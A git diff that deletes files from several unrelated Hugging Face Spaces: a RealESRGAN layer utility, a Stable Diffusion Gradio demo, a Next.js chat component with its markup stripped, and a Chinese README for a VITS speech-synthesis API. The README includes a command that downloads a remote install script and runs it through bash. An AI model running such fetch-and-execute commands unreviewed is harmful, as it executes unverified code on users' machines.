a/spaces/victorisgeek/SwapFace2Pon/upscaler/RealESRGAN/arch_utils.py +++ /dev/null @@ -1,197 +0,0 @@ -import math -import torch -from torch import nn as nn -from torch.nn import functional as F -from torch.nn import init as init -from torch.nn.modules.batchnorm import _BatchNorm - -@torch.no_grad() -def default_init_weights(module_list, scale=1, bias_fill=0, **kwargs): - """Initialize network weights. - - Args: - module_list (list[nn.Module] | nn.Module): Modules to be initialized. - scale (float): Scale initialized weights, especially for residual - blocks. Default: 1. - bias_fill (float): The value to fill bias. Default: 0 - kwargs (dict): Other arguments for initialization function. - """ - if not isinstance(module_list, list): - module_list = [module_list] - for module in module_list: - for m in module.modules(): - if isinstance(m, nn.Conv2d): - init.kaiming_normal_(m.weight, **kwargs) - m.weight.data *= scale - if m.bias is not None: - m.bias.data.fill_(bias_fill) - elif isinstance(m, nn.Linear): - init.kaiming_normal_(m.weight, **kwargs) - m.weight.data *= scale - if m.bias is not None: - m.bias.data.fill_(bias_fill) - elif isinstance(m, _BatchNorm): - init.constant_(m.weight, 1) - if m.bias is not None: - m.bias.data.fill_(bias_fill) - - -def make_layer(basic_block, num_basic_block, **kwarg): - """Make layers by stacking the same blocks. - - Args: - basic_block (nn.module): nn.module class for basic block. - num_basic_block (int): number of blocks. - - Returns: - nn.Sequential: Stacked blocks in nn.Sequential. - """ - layers = [] - for _ in range(num_basic_block): - layers.append(basic_block(**kwarg)) - return nn.Sequential(*layers) - - -class ResidualBlockNoBN(nn.Module): - """Residual block without BN. - - It has a style of: - ---Conv-ReLU-Conv-+- - |________________| - - Args: - num_feat (int): Channel number of intermediate features. - Default: 64. - res_scale (float): Residual scale. Default: 1. - pytorch_init (bool): If set to True, use pytorch default init, - otherwise, use default_init_weights. Default: False. - """ - - def __init__(self, num_feat=64, res_scale=1, pytorch_init=False): - super(ResidualBlockNoBN, self).__init__() - self.res_scale = res_scale - self.conv1 = nn.Conv2d(num_feat, num_feat, 3, 1, 1, bias=True) - self.conv2 = nn.Conv2d(num_feat, num_feat, 3, 1, 1, bias=True) - self.relu = nn.ReLU(inplace=True) - - if not pytorch_init: - default_init_weights([self.conv1, self.conv2], 0.1) - - def forward(self, x): - identity = x - out = self.conv2(self.relu(self.conv1(x))) - return identity + out * self.res_scale - - -class Upsample(nn.Sequential): - """Upsample module. - - Args: - scale (int): Scale factor. Supported scales: 2^n and 3. - num_feat (int): Channel number of intermediate features. - """ - - def __init__(self, scale, num_feat): - m = [] - if (scale & (scale - 1)) == 0: # scale = 2^n - for _ in range(int(math.log(scale, 2))): - m.append(nn.Conv2d(num_feat, 4 * num_feat, 3, 1, 1)) - m.append(nn.PixelShuffle(2)) - elif scale == 3: - m.append(nn.Conv2d(num_feat, 9 * num_feat, 3, 1, 1)) - m.append(nn.PixelShuffle(3)) - else: - raise ValueError(f'scale {scale} is not supported. ' 'Supported scales: 2^n and 3.') - super(Upsample, self).__init__(*m) - - -def flow_warp(x, flow, interp_mode='bilinear', padding_mode='zeros', align_corners=True): - """Warp an image or feature map with optical flow. - - Args: - x (Tensor): Tensor with size (n, c, h, w). - flow (Tensor): Tensor with size (n, h, w, 2), normal value. - interp_mode (str): 'nearest' or 'bilinear'. Default: 'bilinear'. - padding_mode (str): 'zeros' or 'border' or 'reflection'. - Default: 'zeros'. - align_corners (bool): Before pytorch 1.3, the default value is - align_corners=True. After pytorch 1.3, the default value is - align_corners=False. Here, we use the True as default. - - Returns: - Tensor: Warped image or feature map. - """ - assert x.size()[-2:] == flow.size()[1:3] - _, _, h, w = x.size() - # create mesh grid - grid_y, grid_x = torch.meshgrid(torch.arange(0, h).type_as(x), torch.arange(0, w).type_as(x)) - grid = torch.stack((grid_x, grid_y), 2).float() # W(x), H(y), 2 - grid.requires_grad = False - - vgrid = grid + flow - # scale grid to [-1,1] - vgrid_x = 2.0 * vgrid[:, :, :, 0] / max(w - 1, 1) - 1.0 - vgrid_y = 2.0 * vgrid[:, :, :, 1] / max(h - 1, 1) - 1.0 - vgrid_scaled = torch.stack((vgrid_x, vgrid_y), dim=3) - output = F.grid_sample(x, vgrid_scaled, mode=interp_mode, padding_mode=padding_mode, align_corners=align_corners) - - # TODO, what if align_corners=False - return output - - -def resize_flow(flow, size_type, sizes, interp_mode='bilinear', align_corners=False): - """Resize a flow according to ratio or shape. - - Args: - flow (Tensor): Precomputed flow. shape [N, 2, H, W]. - size_type (str): 'ratio' or 'shape'. - sizes (list[int | float]): the ratio for resizing or the final output - shape. - 1) The order of ratio should be [ratio_h, ratio_w]. For - downsampling, the ratio should be smaller than 1.0 (i.e., ratio - < 1.0). For upsampling, the ratio should be larger than 1.0 (i.e., - ratio > 1.0). - 2) The order of output_size should be [out_h, out_w]. - interp_mode (str): The mode of interpolation for resizing. - Default: 'bilinear'. - align_corners (bool): Whether align corners. Default: False. - - Returns: - Tensor: Resized flow. - """ - _, _, flow_h, flow_w = flow.size() - if size_type == 'ratio': - output_h, output_w = int(flow_h * sizes[0]), int(flow_w * sizes[1]) - elif size_type == 'shape': - output_h, output_w = sizes[0], sizes[1] - else: - raise ValueError(f'Size type should be ratio or shape, but got type {size_type}.') - - input_flow = flow.clone() - ratio_h = output_h / flow_h - ratio_w = output_w / flow_w - input_flow[:, 0, :, :] *= ratio_w - input_flow[:, 1, :, :] *= ratio_h - resized_flow = F.interpolate( - input=input_flow, size=(output_h, output_w), mode=interp_mode, align_corners=align_corners) - return resized_flow - - -# TODO: may write a cpp file -def pixel_unshuffle(x, scale): - """ Pixel unshuffle. - - Args: - x (Tensor): Input feature with shape (b, c, hh, hw). - scale (int): Downsample ratio. - - Returns: - Tensor: the pixel unshuffled feature. - """ - b, c, hh, hw = x.size() - out_channel = c * (scale**2) - assert hh % scale == 0 and hw % scale == 0 - h = hh // scale - w = hw // scale - x_view = x.view(b, c, h, scale, w, scale) - return x_view.permute(0, 1, 3, 5, 2, 4).reshape(b, out_channel, h, w) \ No newline at end of file diff --git a/spaces/vsrinivas/Image_Generation_by_SrinivasV/app.py b/spaces/vsrinivas/Image_Generation_by_SrinivasV/app.py deleted file mode 100644 index 7112cd83f420742af4a6c54680232fecd1f09599..0000000000000000000000000000000000000000 --- a/spaces/vsrinivas/Image_Generation_by_SrinivasV/app.py +++ /dev/null @@ -1,44 +0,0 @@ -import gradio as gr -from transformers import pipeline -import torch -from diffusers import DiffusionPipeline - -def get_completion(prompt,params): - # return pipeline(prompt=prompt, height=params['height'], width=params['width'], num_inference_steps=int(params['num_inference_steps']), guidance_scale=params['guidance_scale'])['sample'][0] - return pipeline(prompt=prompt, height=params['height'], width=params['width'], num_inference_steps=int(params['num_inference_steps']), guidance_scale=params['guidance_scale']).images[0] -def generate(prompt,steps,guidance,width,height): - params = { - "num_inference_steps": steps, - "guidance_scale": guidance, - "width": width, - "height": height - } - output = get_completion(prompt,params) - return output - -pipeline = DiffusionPipeline.from_pretrained("runwayml/stable-diffusion-v1-5") - -with gr.Blocks() as demo: - gr.Markdown("# Image Generation Demo & Test App by Srinivas") - gr.Markdown("## Generates an Image based on Your Promt inputted and Optional parameters selected") - with gr.Row(): - with gr.Column(scale=4): - prompt = gr.Textbox(label="Your Prompt") #Give prompt some real estate - with gr.Column(scale=1, min_width=50): - btn = gr.Button("Submit") #Submit button side by side! - with gr.Accordion("Advanced options", open=False): #Let's hide the advanced options! - # negative_prompt = gr.Textbox(label="Negative prompt") - with gr.Row(): - with gr.Column(): - steps = gr.Slider(label="Inference Steps", minimum=1, maximum=100, value=25, - info="In many steps will the denoiser denoise the image?") - guidance = gr.Slider(label="Guidance Scale", minimum=1.0, maximum=20.0, value=7.0, - info="Controls how much the text prompt influences the result") - with gr.Column(): - width = gr.Slider(label="Width", minimum=64, maximum=512, step=64, value=512) - height = gr.Slider(label="Height", minimum=64, maximum=512, step=64, value=512) - output = gr.Image(label="Result") #Move the output up too - - btn.click(fn=generate, inputs=[prompt,steps,guidance,width,height], outputs=[output]) - -demo.launch() \ No newline at end of file diff --git a/spaces/wanghuoto/gogoai/src/components/chat.tsx b/spaces/wanghuoto/gogoai/src/components/chat.tsx deleted file mode 100644 index a37ab1cc96ca2e6bfd9acbe313a8d946bfd5c3d4..0000000000000000000000000000000000000000 --- a/spaces/wanghuoto/gogoai/src/components/chat.tsx +++ /dev/null @@ -1,93 +0,0 @@ -'use client' - -import { useCallback, useEffect, useMemo, useState } from 'react' -import { useAtom } from 'jotai' -import Image from 'next/image' -import { cn } from '@/lib/utils' -import { ChatList } from '@/components/chat-list' -import { ChatPanel } from '@/components/chat-panel' -import { WelcomeScreen } from '@/components/welcome-screen' -import { ChatScrollAnchor } from '@/components/chat-scroll-anchor' -import { ToneSelector } from './tone-selector' -import { ChatHeader } from './chat-header' -import { ChatSuggestions } from './chat-suggestions' -import { bingConversationStyleAtom } from '@/state' -import { ButtonScrollToBottom } from '@/components/button-scroll-to-bottom' -import StopIcon from '@/assets/images/stop.svg' -import { useBing } from '@/lib/hooks/use-bing' -import { ChatMessageModel } from '@/lib/bots/bing/types' -import { ChatNotification } from './chat-notification' -import { Settings } from './settings' -import { ChatHistory } from './chat-history' - -export type ChatProps = React.ComponentProps<'div'> & { initialMessages?: ChatMessageModel[] } - -export default function Chat({ className }: ChatProps) { - - const [bingStyle, setBingStyle] = useAtom(bingConversationStyleAtom) - const { - messages, - sendMessage, - resetConversation, - stopGenerating, - setInput, - bot, - input, - generating, - isSpeaking, - uploadImage, - attachmentList, - setAttachmentList, - } = useBing() - - useEffect(() => { - window.scrollTo({ - top: document.body.offsetHeight, - behavior: 'smooth' - }) - }, []) - - return ( -
                - -
                - - - - {messages.length ? ( - <> - - - - - - {generating ? ( -
                - -
                - ) : null} - - ) : null} -
                - - -
                - ) -} diff --git a/spaces/wangrongsheng/ChatPaper/README.md b/spaces/wangrongsheng/ChatPaper/README.md deleted file mode 100644 index 1f1b978a4159a8280dd2df48cafb886e0c3eb02d..0000000000000000000000000000000000000000 --- a/spaces/wangrongsheng/ChatPaper/README.md +++ /dev/null @@ -1,13 +0,0 @@ ---- -title: ChatPaper -emoji: 🚀 -colorFrom: pink -colorTo: purple -sdk: gradio -sdk_version: 3.20.1 -app_file: app.py -pinned: false -license: gpl-3.0 ---- - -Check out the configuration reference at https://huggingface.co/docs/hub/spaces-config-reference diff --git a/spaces/weibinke/vits-simple-api/README_zh.md b/spaces/weibinke/vits-simple-api/README_zh.md deleted file mode 100644 index 33db398a6265073bf75ce14c4d6c61c6a67fce9f..0000000000000000000000000000000000000000 --- a/spaces/weibinke/vits-simple-api/README_zh.md +++ /dev/null @@ -1,618 +0,0 @@ -
                -

                vits-simple-api

                -
                Simply call the vits api
                -
                -
                -

                - - - - -

                - English|中文文档 -
                -
                - - - - -# Feature - -- [x] VITS语音合成，语音转换 -- [x] HuBert-soft VITS模型 -- [x] W2V2 VITS / emotional-vits维度情感模型 -- [x] [vits_chinese](https://github.com/PlayVoice/vits_chinese) -- [x] [Bert-VITS2](https://github.com/Stardust-minus/Bert-VITS2) -- [x] 加载多模型 -- [x] 自动识别语言并处理，根据模型的cleaner设置语言类型识别的范围，支持自定义语言类型范围 -- [x] 自定义默认参数 -- [x] 长文本批处理 -- [x] GPU加速推理 -- [x] SSML语音合成标记语言（完善中...） - - -## demo - -[![Hugging Face Spaces](https://img.shields.io/badge/%F0%9F%A4%97%20Hugging%20Face-Spaces-blue)](https://huggingface.co/spaces/Artrajz/vits-simple-api) - -注意不同的id支持的语言可能有所不同。[speakers](https://artrajz-vits-simple-api.hf.space/voice/speakers) - - -- `https://artrajz-vits-simple-api.hf.space/voice/vits?text=你好,こんにちは&id=164` -- `https://artrajz-vits-simple-api.hf.space/voice/vits?text=我觉得1%2B1≠3&id=164&lang=zh`（get中一些字符需要转义不然会被过滤掉） -- `https://artrajz-vits-simple-api.hf.space/voice/vits?text=Difficult the first time, easy the second.&id=4` -- 激动：`https://artrajz-vits-simple-api.hf.space/voice/w2v2-vits?text=こんにちは&id=3&emotion=111` -- 小声：`https://artrajz-vits-simple-api.hf.space/voice/w2v2-vits?text=こんにちは&id=3&emotion=2077` - -https://user-images.githubusercontent.com/73542220/237995061-c1f25b4e-dd86-438a-9363-4bb1fe65b425.mov - -# 部署 - -## Docker部署 - -### 镜像拉取脚本 - -``` -bash -c "$(wget -O- https://raw.githubusercontent.com/Artrajz/vits-simple-api/main/vits-simple-api-installer-latest.sh)" -``` - -- 目前docker镜像支持的平台`linux/amd64,linux/arm64` -- 在拉取完成后，需要导入VITS模型才能使用，请根据以下步骤导入模型。 - -### 下载VITS模型 - -将模型放入`/usr/local/vits-simple-api/Model` - -
                Folder structure
                
-│  hubert-soft-0d54a1f4.pt
-│  model.onnx
-│  model.yaml
-├─g
-│      config.json
-│      G_953000.pth
-│
-├─louise
-│      360_epochs.pth
-│      config.json
-│
-├─Nene_Nanami_Rong_Tang
-│      1374_epochs.pth
-│      config.json
-│
-├─Zero_no_tsukaima
-│       1158_epochs.pth
-│       config.json
-│
-└─npy
-       25ecb3f6-f968-11ed-b094-e0d4e84af078.npy
-       all_emotions.npy
-
                - - - -### 修改模型路径 - -Modify in `/usr/local/vits-simple-api/config.py` - -
                config.py
                
-# 在此填写模型路径
-MODEL_LIST = [
-    # VITS
-    [ABS_PATH + "/Model/Nene_Nanami_Rong_Tang/1374_epochs.pth", ABS_PATH + "/Model/Nene_Nanami_Rong_Tang/config.json"],
-    [ABS_PATH + "/Model/Zero_no_tsukaima/1158_epochs.pth", ABS_PATH + "/Model/Zero_no_tsukaima/config.json"],
-    [ABS_PATH + "/Model/g/G_953000.pth", ABS_PATH + "/Model/g/config.json"],
-    # HuBert-VITS (Need to configure HUBERT_SOFT_MODEL)
-    [ABS_PATH + "/Model/louise/360_epochs.pth", ABS_PATH + "/Model/louise/config.json"],
-    # W2V2-VITS (Need to configure DIMENSIONAL_EMOTION_NPY)
-    [ABS_PATH + "/Model/w2v2-vits/1026_epochs.pth", ABS_PATH + "/Model/w2v2-vits/config.json"],
-]
-# hubert-vits: hubert soft 编码器
-HUBERT_SOFT_MODEL = ABS_PATH + "/Model/hubert-soft-0d54a1f4.pt"
-# w2v2-vits: Dimensional emotion npy file
-# 加载单独的npy: ABS_PATH+"/all_emotions.npy
-# 加载多个npy: [ABS_PATH + "/emotions1.npy", ABS_PATH + "/emotions2.npy"]
-# 从文件夹里加载npy: ABS_PATH + "/Model/npy"
-DIMENSIONAL_EMOTION_NPY = ABS_PATH + "/Model/npy"
-# w2v2-vits: 需要在同一路径下有model.onnx和model.yaml
-DIMENSIONAL_EMOTION_MODEL = ABS_PATH + "/Model/model.yaml"
-
                - - - -### 启动 - -`docker compose up -d` - -或者重新执行拉取脚本 - -### 镜像更新 - -重新执行docker镜像拉取脚本即可 - -## 虚拟环境部署 - -### Clone - -`git clone https://github.com/Artrajz/vits-simple-api.git` - -### 下载python依赖 - -推荐使用python的虚拟环境，python版本 >= 3.9 - -`pip install -r requirements.txt` - -windows下可能安装不了fasttext,可以用以下命令安装，附[wheels下载地址](https://www.lfd.uci.edu/~gohlke/pythonlibs/#fasttext) - -``` -#python3.10 win_amd64 -pip install https://github.com/Artrajz/archived/raw/main/fasttext/fasttext-0.9.2-cp310-cp310-win_amd64.whl -#python3.9 win_amd64 -pip install https://github.com/Artrajz/archived/raw/main/fasttext/fasttext-0.9.2-cp39-cp39-win_amd64.whl -``` - -### 下载VITS模型 - -将模型放入 `/path/to/vits-simple-api/Model` - -
                文件夹结构
                
-├─g
-│      config.json
-│      G_953000.pth
-│
-├─louise
-│      360_epochs.pth
-│      config.json
-│      hubert-soft-0d54a1f4.pt
-│
-├─Nene_Nanami_Rong_Tang
-│      1374_epochs.pth
-│      config.json
-│
-└─Zero_no_tsukaima
-        1158_epochs.pth
-        config.json
-
                - -### 修改模型路径 - -在 `/path/to/vits-simple-api/config.py` 修改 - -
                config.py
                
-# 在此填写模型路径
-MODEL_LIST = [
-    # VITS
-    [ABS_PATH + "/Model/Nene_Nanami_Rong_Tang/1374_epochs.pth", ABS_PATH + "/Model/Nene_Nanami_Rong_Tang/config.json"],
-    [ABS_PATH + "/Model/Zero_no_tsukaima/1158_epochs.pth", ABS_PATH + "/Model/Zero_no_tsukaima/config.json"],
-    [ABS_PATH + "/Model/g/G_953000.pth", ABS_PATH + "/Model/g/config.json"],
-    # HuBert-VITS (Need to configure HUBERT_SOFT_MODEL)
-    [ABS_PATH + "/Model/louise/360_epochs.pth", ABS_PATH + "/Model/louise/config.json"],
-    # W2V2-VITS (Need to configure DIMENSIONAL_EMOTION_NPY)
-    [ABS_PATH + "/Model/w2v2-vits/1026_epochs.pth", ABS_PATH + "/Model/w2v2-vits/config.json"],
-]
-# hubert-vits: hubert soft 编码器
-HUBERT_SOFT_MODEL = ABS_PATH + "/Model/hubert-soft-0d54a1f4.pt"
-# w2v2-vits: Dimensional emotion npy file
-# 加载单独的npy: ABS_PATH+"/all_emotions.npy
-# 加载多个npy: [ABS_PATH + "/emotions1.npy", ABS_PATH + "/emotions2.npy"]
-# 从文件夹里加载npy: ABS_PATH + "/Model/npy"
-DIMENSIONAL_EMOTION_NPY = ABS_PATH + "/Model/npy"
-# w2v2-vits: 需要在同一路径下有model.onnx和model.yaml
-DIMENSIONAL_EMOTION_MODEL = ABS_PATH + "/Model/model.yaml"
-
                - - - -### 启动 - -`python app.py` - -# GPU 加速 - -## windows - -### 安装CUDA - -查看显卡最高支持CUDA的版本 - -``` -nvidia-smi -``` - -以CUDA11.7为例，[官网](https://developer.nvidia.com/cuda-11-7-0-download-archive?target_os=Windows&target_arch=x86_64&target_version=10&target_type=exe_local) - -### 安装GPU版pytorch - -CUDA11.7对应的pytorch是用这个命令安装 - -``` -pip3 install torch torchvision torchaudio --index-url https://download.pytorch.org/whl/cu117 -``` - -对应版本的命令可以在[官网](https://pytorch.org/get-started/locally/)找到 - -## Linux - -安装过程类似，但我没有相应的环境所以没办法测试 - -# Openjtalk安装问题 - -如果你是arm64架构的平台，由于pypi官网上没有arm64对应的whl，可能安装会出现一些问题，你可以使用我构建的whl来安装 - -``` -pip install openjtalk==0.3.0.dev2 --index-url https://pypi.artrajz.cn/simple -``` - -或者是自己手动构建一个whl，可以根据[教程](https://artrajz.cn/index.php/archives/167/)来构建 - -# API - -## GET - -#### speakers list - -- GET http://127.0.0.1:23456/voice/speakers - - 返回id对应角色的映射表 - -#### voice vits - -- GET http://127.0.0.1:23456/voice/vits?text=text - - 其他参数不指定时均为默认值 - -- GET http://127.0.0.1:23456/voice/vits?text=[ZH]text[ZH][JA]text[JA]&lang=mix - - lang=mix时文本要标注 - -- GET http://127.0.0.1:23456/voice/vits?text=text&id=142&format=wav&lang=zh&length=1.4 - - 文本为text，角色id为142，音频格式为wav，文本语言为zh，语音长度为1.4，其余参数默认 - -#### check - -- GET http://127.0.0.1:23456/voice/check?id=0&model=vits - -## POST - -- python - -```python -import re -import requests -import os -import random -import string -from requests_toolbelt.multipart.encoder import MultipartEncoder - -abs_path = os.path.dirname(__file__) -base = "http://127.0.0.1:23456" - - -# 映射表 -def voice_speakers(): - url = f"{base}/voice/speakers" - - res = requests.post(url=url) - json = res.json() - for i in json: - print(i) - for j in json[i]: - print(j) - return json - - -# 语音合成 voice vits -def voice_vits(text, id=0, format="wav", lang="auto", length=1, noise=0.667, noisew=0.8, max=50): - fields = { - "text": text, - "id": str(id), - "format": format, - "lang": lang, - "length": str(length), - "noise": str(noise), - "noisew": str(noisew), - "max": str(max) - } - boundary = '----VoiceConversionFormBoundary' + ''.join(random.sample(string.ascii_letters + string.digits, 16)) - - m = MultipartEncoder(fields=fields, boundary=boundary) - headers = {"Content-Type": m.content_type} - url = f"{base}/voice" - - res = requests.post(url=url, data=m, headers=headers) - fname = re.findall("filename=(.+)", res.headers["Content-Disposition"])[0] - path = f"{abs_path}/{fname}" - - with open(path, "wb") as f: - f.write(res.content) - print(path) - return path - - -# 语音转换 hubert-vits -def voice_hubert_vits(upload_path, id, format="wav", length=1, noise=0.667, noisew=0.8): - upload_name = os.path.basename(upload_path) - upload_type = f'audio/{upload_name.split(".")[1]}' # wav,ogg - - with open(upload_path, 'rb') as upload_file: - fields = { - "upload": (upload_name, upload_file, upload_type), - "id": str(id), - "format": format, - "length": str(length), - "noise": str(noise), - "noisew": str(noisew), - } - boundary = '----VoiceConversionFormBoundary' + ''.join(random.sample(string.ascii_letters + string.digits, 16)) - - m = MultipartEncoder(fields=fields, boundary=boundary) - headers = {"Content-Type": m.content_type} - url = f"{base}/voice/hubert-vits" - - res = requests.post(url=url, data=m, headers=headers) - fname = re.findall("filename=(.+)", res.headers["Content-Disposition"])[0] - path = f"{abs_path}/{fname}" - - with open(path, "wb") as f: - f.write(res.content) - print(path) - return path - - -# 维度情感模型 w2v2-vits -def voice_w2v2_vits(text, id=0, format="wav", lang="auto", length=1, noise=0.667, noisew=0.8, max=50, emotion=0): - fields = { - "text": text, - "id": str(id), - "format": format, - "lang": lang, - "length": str(length), - "noise": str(noise), - "noisew": str(noisew), - "max": str(max), - "emotion": str(emotion) - } - boundary = '----VoiceConversionFormBoundary' + ''.join(random.sample(string.ascii_letters + string.digits, 16)) - - m = MultipartEncoder(fields=fields, boundary=boundary) - headers = {"Content-Type": m.content_type} - url = f"{base}/voice/w2v2-vits" - - res = requests.post(url=url, data=m, headers=headers) - fname = re.findall("filename=(.+)", res.headers["Content-Disposition"])[0] - path = f"{abs_path}/{fname}" - - with open(path, "wb") as f: - f.write(res.content) - print(path) - return path - - -# 语音转换 同VITS模型内角色之间的音色转换 -def voice_conversion(upload_path, original_id, target_id): - upload_name = os.path.basename(upload_path) - upload_type = f'audio/{upload_name.split(".")[1]}' # wav,ogg - - with open(upload_path, 'rb') as upload_file: - fields = { - "upload": (upload_name, upload_file, upload_type), - "original_id": str(original_id), - "target_id": str(target_id), - } - boundary = '----VoiceConversionFormBoundary' + ''.join(random.sample(string.ascii_letters + string.digits, 16)) - m = MultipartEncoder(fields=fields, boundary=boundary) - - headers = {"Content-Type": m.content_type} - url = f"{base}/voice/conversion" - - res = requests.post(url=url, data=m, headers=headers) - - fname = re.findall("filename=(.+)", res.headers["Content-Disposition"])[0] - path = f"{abs_path}/{fname}" - - with open(path, "wb") as f: - f.write(res.content) - print(path) - return path - - -def voice_ssml(ssml): - fields = { - "ssml": ssml, - } - boundary = '----VoiceConversionFormBoundary' + ''.join(random.sample(string.ascii_letters + string.digits, 16)) - - m = MultipartEncoder(fields=fields, boundary=boundary) - headers = {"Content-Type": m.content_type} - url = f"{base}/voice/ssml" - - res = requests.post(url=url, data=m, headers=headers) - fname = re.findall("filename=(.+)", res.headers["Content-Disposition"])[0] - path = f"{abs_path}/{fname}" - - with open(path, "wb") as f: - f.write(res.content) - print(path) - return path - -def voice_dimensional_emotion(upload_path): - upload_name = os.path.basename(upload_path) - upload_type = f'audio/{upload_name.split(".")[1]}' # wav,ogg - - with open(upload_path, 'rb') as upload_file: - fields = { - "upload": (upload_name, upload_file, upload_type), - } - boundary = '----VoiceConversionFormBoundary' + ''.join(random.sample(string.ascii_letters + string.digits, 16)) - - m = MultipartEncoder(fields=fields, boundary=boundary) - headers = {"Content-Type": m.content_type} - url = f"{base}/voice/dimension-emotion" - - res = requests.post(url=url, data=m, headers=headers) - fname = re.findall("filename=(.+)", res.headers["Content-Disposition"])[0] - path = f"{abs_path}/{fname}" - - with open(path, "wb") as f: - f.write(res.content) - print(path) - return path -``` - -## API KEY - -在config.py中设置`API_KEY_ENABLED = True`以启用，api key填写：`API_KEY = "api-key"`。 - -启用后，GET请求中使用需要增加参数api_key，POST请求中使用需要在header中添加参数`X-API-KEY`。 - -# Parameter - -## VITS语音合成 - -| Name | Parameter | Is must | Default | Type | Instruction | -| ------------- | --------- | ------- | ------------------- | ----- | ------------------------------------------------------------ | -| 合成文本 | text | true | | str | 需要合成语音的文本。 | -| 角色id | id | false | 从`config.py`中获取 | int | 即说话人id。 | -| 音频格式 | format | false | 从`config.py`中获取 | str | 支持wav,ogg,silk,mp3,flac | -| 文本语言 | lang | false | 从`config.py`中获取 | str | auto为自动识别语言模式，也是默认模式。lang=mix时，文本应该用[ZH] 或 [JA] 包裹。方言无法自动识别。 | -| 语音长度/语速 | length | false | 从`config.py`中获取 | float | 调节语音长度，相当于调节语速，该数值越大语速越慢。 | -| 噪声 | noise | false | 从`config.py`中获取 | float | 样本噪声，控制合成的随机性。 | -| sdp噪声 | noisew | false | 从`config.py`中获取 | float | 随机时长预测器噪声，控制音素发音长度。 | -| 分段阈值 | max | false | 从`config.py`中获取 | int | 按标点符号分段，加起来大于max时为一段文本。max<=0表示不分段。 | -| 流式响应 | streaming | false | false | bool | 流式合成语音，更快的首包响应。 | - -## VITS 语音转换 - -| Name | Parameter | Is must | Default | Type | Instruction | -| ---------- | ----------- | ------- | ------- | ---- | ---------------------- | -| 上传音频 | upload | true | | file | wav or ogg | -| 源角色id | original_id | true | | int | 上传文件所使用的角色id | -| 目标角色id | target_id | true | | int | 要转换的目标角色id | - -## HuBert-VITS 语音转换 - -| Name | Parameter | Is must | Default | Type | Instruction | -| ------------- | --------- | ------- | ------- | ----- | ------------------------------------------------ | -| 上传音频 | upload | true | | file | 需要转换说话人的音频文件。 | -| 目标角色id | id | true | | int | 目标说话人id。 | -| 音频格式 | format | true | | str | wav,ogg,silk | -| 语音长度/语速 | length | true | | float | 调节语音长度，相当于调节语速，该数值越大语速越慢 | -| 噪声 | noise | true | | float | 样本噪声，控制合成的随机性。 | -| sdp噪声 | noisew | true | | float | 随机时长预测器噪声，控制音素发音长度。 | - -## W2V2-VITS - -| Name | Parameter | Is must | Default | Type | Instruction | -| ------------- | --------- | ------- | ------------------- | ----- | ------------------------------------------------------------ | -| 合成文本 | text | true | | str | 需要合成语音的文本。 | -| 角色id | id | false | 从`config.py`中获取 | int | 即说话人id。 | -| 音频格式 | format | false | 从`config.py`中获取 | str | 支持wav,ogg,silk,mp3,flac | -| 文本语言 | lang | false | 从`config.py`中获取 | str | auto为自动识别语言模式，也是默认模式。lang=mix时，文本应该用[ZH] 或 [JA] 包裹。方言无法自动识别。 | -| 语音长度/语速 | length | false | 从`config.py`中获取 | float | 调节语音长度，相当于调节语速，该数值越大语速越慢 | -| 噪声 | noise | false | 从`config.py`中获取 | float | 样本噪声，控制合成的随机性。 | -| sdp噪声 | noisew | false | 从`config.py`中获取 | float | 随机时长预测器噪声，控制音素发音长度。 | -| 分段阈值 | max | false | 从`config.py`中获取 | int | 按标点符号分段，加起来大于max时为一段文本。max<=0表示不分段。 | -| 维度情感 | emotion | false | 0 | int | 范围取决于npy情感参考文件，如[innnky](https://huggingface.co/spaces/innnky/nene-emotion/tree/main)的all_emotions.npy模型范围是0-5457 | - -## Dimensional emotion - -| Name | Parameter | Is must | Default | Type | Instruction | -| -------- | --------- | ------- | ------- | ---- | ----------------------------- | -| 上传音频 | upload | true | | file | 返回存储维度情感向量的npy文件 | - -## Bert-VITS2语音合成 - -| Name | Parameter | Is must | Default | Type | Instruction | -| ------------- | --------- | ------- | ------------------- | ----- | ------------------------------------------------------------ | -| 合成文本 | text | true | | str | 需要合成语音的文本。 | -| 角色id | id | false | 从`config.py`中获取 | int | 即说话人id。 | -| 音频格式 | format | false | 从`config.py`中获取 | str | 支持wav,ogg,silk,mp3,flac | -| 文本语言 | lang | false | 从`config.py`中获取 | str | 目前只有中文。 | -| 语音长度/语速 | length | false | 从`config.py`中获取 | float | 调节语音长度，相当于调节语速，该数值越大语速越慢。 | -| 噪声 | noise | false | 从`config.py`中获取 | float | 样本噪声，控制合成的随机性。 | -| sdp噪声 | noisew | false | 从`config.py`中获取 | float | 随机时长预测器噪声，控制音素发音长度。 | -| 分段阈值 | max | false | 从`config.py`中获取 | int | 按标点符号分段，加起来大于max时为一段文本。max<=0表示不分段。 | -| SDP/DP混合比 | sdp_ratio | false | 从`config.py`中获取 | int | SDP在合成时的占比，理论上此比率越高，合成的语音语调方差越大。 | - -## SSML语音合成标记语言 -目前支持的元素与属性 - -`speak`元素 - -| Attribute | Description | Is must | -| --------- | ------------------------------------------------------------ | ------- | -| id | 默认值从`config.py`中读取 | false | -| lang | 默认值从`config.py`中读取 | false | -| length | 默认值从`config.py`中读取 | false | -| noise | 默认值从`config.py`中读取 | false | -| noisew | 默认值从`config.py`中读取 | false | -| max | 按标点符号分段，加起来大于max时为一段文本。max<=0表示不分段，这里默认为0。 | false | -| model | 默认为vits，可选`w2v2-vits`，`emotion-vits` | false | -| emotion | 只有用`w2v2-vits`或`emotion-vits`时`emotion`才生效，范围取决于npy情感参考文件 | false | - -`voice`元素 - -优先级大于`speak` - -| Attribute | Description | Is must | -| --------- | ------------------------------------------------------------ | ------- | -| id | 默认值从`config.py`中读取 | false | -| lang | 默认值从`config.py`中读取 | false | -| length | 默认值从`config.py`中读取 | false | -| noise | 默认值从`config.py`中读取 | false | -| noisew | 默认值从`config.py`中读取 | false | -| max | 按标点符号分段，加起来大于max时为一段文本。max<=0表示不分段，这里默认为0。 | false | -| model | 默认为vits，可选`w2v2-vits`，`emotion-vits` | false | -| emotion | 只有用`w2v2-vits`或`emotion-vits`时`emotion`才会生效 | false | - -`break`元素 - -| Attribute | Description | Is must | -| --------- | ------------------------------------------------------------ | ------- | -| strength | x-weak,weak,medium（默认值）,strong,x-strong | false | -| time | 暂停的绝对持续时间，以秒为单位（例如 `2s`）或以毫秒为单位（例如 `500ms`）。 有效值的范围为 0 到 5000 毫秒。 如果设置的值大于支持的最大值，则服务将使用 `5000ms`。 如果设置了 `time` 属性，则会忽略 `strength` 属性。 | false | - -| Strength | Relative Duration | -| :------- | :---------------- | -| x-weak | 250 毫秒 | -| weak | 500 毫秒 | -| Medium | 750 毫秒 | -| Strong | 1000 毫秒 | -| 